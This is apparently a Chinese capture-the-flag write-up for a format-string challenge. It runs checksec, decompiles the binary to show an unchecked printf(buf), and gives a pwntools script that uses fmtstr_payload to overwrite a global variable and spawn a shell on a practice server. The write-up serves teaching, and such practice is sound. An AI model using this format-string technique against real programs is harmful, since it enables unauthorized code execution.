分析 
checksec 
 
 1 2 3 ➜  pwn checksec --file=fm  RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   73) Symbols	  No	0		2		fm 
 
ida 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int  __cdecl main (int  argc, const  char  **argv, const  char  **envp) {   char  buf[80 ];    unsigned  int  v5;    v5 = __readgsdword(0x14u );   be_nice_to_people();   memset (buf, 0 , sizeof (buf));   read(0 , buf, 0x50u );   printf (buf);   printf ("%d!\n" , x);   if  ( x == 4  )   {     puts ("running sh..." );     system("/bin/sh" );   }   return  0 ; } 
 
可以看到,当x == 4就可以拿到shell,跟进看一下x的值和地址:
1 .data:0804A02C x               dd 3                    ; DATA XREF: main+65↑r 
 
所以我们的任务就是修改这个值为4,可以看到使用了printf函数,那么我们可以利用该函数格式控制漏洞实现数据修改
利用 
计算偏移
偏移量为11 
 
 
 
利用代码 
 
1 2 3 4 5 6 7 from  pwn import  *from  LibcSearcher import  *r = remote('node5.buuoj.cn' ,29883 ) x_addr = 0x0804A02C  buf = fmtstr_payload(offset=11 ,writes={x_addr:4 }) r.sendline(buf) r.interactive() 
 
fmtstr_payload 函数文档 
常用用法:
第一个参数是偏移 
第二个是个字典,key是地址,value是要修改的值